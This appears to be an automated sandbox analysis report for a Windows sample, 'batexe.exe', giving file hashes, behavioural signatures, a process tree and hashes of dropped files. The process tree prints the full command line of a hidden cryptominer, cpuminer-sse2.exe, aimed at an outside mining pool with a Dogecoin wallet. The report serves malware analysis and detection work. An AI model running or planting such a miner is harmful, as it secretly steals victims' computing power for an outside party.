Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
295s -
max time network
304s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
18/02/2024, 03:21
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20231215-ja
General
-
Target
batexe.exe
-
Size
9.4MB
-
MD5
cdc9eacffc6d2bf43153815043064427
-
SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
-
SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
-
SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
-
SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
-
Executes dropped EXE 2 IoCs
pid Process 684 b2e.exe 4664 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 4664 cpuminer-sse2.exe 4664 cpuminer-sse2.exe 4664 cpuminer-sse2.exe 4664 cpuminer-sse2.exe 4664 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/3156-6-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3156 wrote to memory of 684 3156 batexe.exe 74 PID 3156 wrote to memory of 684 3156 batexe.exe 74 PID 3156 wrote to memory of 684 3156 batexe.exe 74 PID 684 wrote to memory of 2432 684 b2e.exe 75 PID 684 wrote to memory of 2432 684 b2e.exe 75 PID 684 wrote to memory of 2432 684 b2e.exe 75 PID 2432 wrote to memory of 4664 2432 cmd.exe 78 PID 2432 wrote to memory of 4664 2432 cmd.exe 78
Processes
-
C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3156 -
C:\Users\Admin\AppData\Local\Temp\2296.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\2296.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\2296.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:684 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\296C.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:4664
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
250KB
MD55e860731fd629f315df8a51f72185c41
SHA161039cd9514d9923dcde7ea09b678c10e749e912
SHA256bc0a0d9f1c05c8b5a3f992505b10529dd4d4b50f2e0ff6fdd7c5b7c19b75d3fd
SHA512c60d8259931cb674e22282b040b26451beca1a4a267df8836392308b1dadc5fa14d4d3623789ceabb17603e5da7751f2fc5e38956d92d0cad44df560c413c237
-
Filesize
446KB
MD5bd66aa41ce6e79712e51ab22ea956731
SHA145853ec4762f33866bd34ab95e5749127b0a5442
SHA256ac08d4810e4c1e69bf849840d9e783a82ea1ee4fffcf6e08fcc75bb0b1198f2b
SHA512ec5b4b984ef022c230122b7fd4056c3d5ca48be3a39b93f652e591874b24f755e7e299caefea09810cea3c3869888520378c23397572221053bb51bc088ae75c
-
Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
-
Filesize
1.1MB
MD5dcacf6b34f0587f889d761149bbcdcdc
SHA169070566db83ff7c7935fe6817e2c99d7bd2271f
SHA2562610ab9011861b036f1bec9d02b7456340c3114eb8820ee5f192b7151093e3fc
SHA51290a2150d15243b231f6541b4c5f20f84ce1684f920642f14fdb8b2f5879542c6f7e2f5b5d57f43f30441fb02a50a5c10a48f52a6088074e8224d998470df3bc3
-
Filesize
813KB
MD502f4187a83cda104595fc9386622418a
SHA183efa6487b3149d240a5b2a3aec245aa47f3a9a0
SHA2567fa5bb38c7a19620e6584f1775be628ee123a22ddba3abcbcb3a849db49d76f0
SHA51245bb64d5040a111b7b9240869eedef23bd93683cafb23204dce3889baeba515fcc0746f38e17fe96571f1fd03db5aba37ea15c3b3440780c2d4cb51233699fa2
-
Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
-
Filesize
698KB
MD557c21501bef78baedb03631866e8bac8
SHA15eee508b18243a47e4127d539d0f75ea4d5b6d17
SHA256a1e285160e0f833a77d113141a10578f91e9921b7753378511acb93dbaca9a01
SHA512664af664f1ccb0e0cd620b486d12d46c297b4ef11c80ae182e9dcd654cd60168de638d8c1d741c926d1964d6e1c61272eecc56e4221a198f01e148bc93fb5ad9
-
Filesize
721KB
MD5324989b7152106d867d42edb2a82d67c
SHA15c4091d6dcecbf20c76d56b2f76ba050337b1daf
SHA2562c3acc7f5c672f6aaf04b1aff8b9af1eb25698a7a175e1b9baf68434a4eecd20
SHA512d7b26d75313bc73e00e50ec8e438b54693ea3d978a64afebc8b83fdd64410934a828ed50cd3d29ddcddb0c62beef098d85d604ba995f79cc80c85d7934695386
-
Filesize
537KB
MD5ad91b952e549e260ae197a7a50d451db
SHA13da0fbfaaeeaf45d60fab5596a4e1f209259b7f6
SHA256a0d057506d0ce3c1507117e3de79d9764082a4e3741f90ab2fe87909fb439e62
SHA5123fd862444c16bb30fb730891eb44bb86974cfe467b50b207e7f162b399206475abb5a5f838e9865e594de99cc8612c6918c8364bc6ec1dc539b8fe9b62571750
-
Filesize
595KB
MD5b4ae708fa3d4095a72e39f6e1cee4c49
SHA12415bfc503cc34979398c5ba897e711c5a153b4c
SHA256061292bdd8ccb06367e2f40ab3e05b43b9509cf6e991ec7997fa720d5f33e465
SHA51237f6055f40db2b03644b369b54e25486b0b721b75c9b6a49f7357c01b427ad4ac0b9260f0ad39e899b7fde3248fec859902339b31d89ec4215ab191faca3146a
-
Filesize
615KB
MD5a80d7af2ed3d300260e18fca6342dd53
SHA15950be99583b8f28413ff37d4067af62ffe69ce8
SHA2566f1a0c25bd41c6c81a2f4cd1c759967de5caabc51e3a7b38e4b0c20da8136054
SHA5124688cd80a13fa9b34658c683044da687c0fe16bd5c3ce7593f30537cd57b0daa4b930cfffbfb6555158c589bf3d6602dd389e8971c98661259a7e9ab0c846e56
-
Filesize
731KB
MD551860bbd3aeddff4e854d5fe49e42eb6
SHA19b1fe2d02f91cf1e06e62f463e2386dc365eaf1f
SHA256703ab6066c4673e900e579cdff15b9de9c58cf84fa522f718e00a475c8984d8d
SHA512b0cee7625bf160cb78845f2d448f29d069e6d0db5d3dbba20808e1494891e7876af32fb264815527b6fd2fa5923faa860f33ec22155d7cbc71cba3925d75cc91
-
Filesize
732KB
MD58f7627f8638cc1327d42e27e34be1411
SHA160c9ba6d42e099b998ed65aea56ecf9b4465d835
SHA256feea723b2ec77ce6172ba2c7e35c05eee1ca39afae832215cca7f4f1043134a1
SHA5128e750c184edc0032eca32b67642f2c85eb90b864e409c1622ff572816ee14e57776c09ca8d930cccd1219789cd86a30d36eafe3fb6927ff686e7ba86029b346f
-
Filesize
558KB
MD563a309e002cbdcc1673134c69be1d9c8
SHA1dac06091753a8e45d46d489b4009a42ecbf1370b
SHA256f594f8a4782cace6882cdcf9ec3ccbe48d83deacf988fabd72e73d778bc5d9d7
SHA5122723df938522edd2bc6807cea3151a08f57f210e11f973383e92464d42ce5fb80f1205ca2871b65036732b4818f508477f5fbbeb0e85af370145d5c97d2b0e7e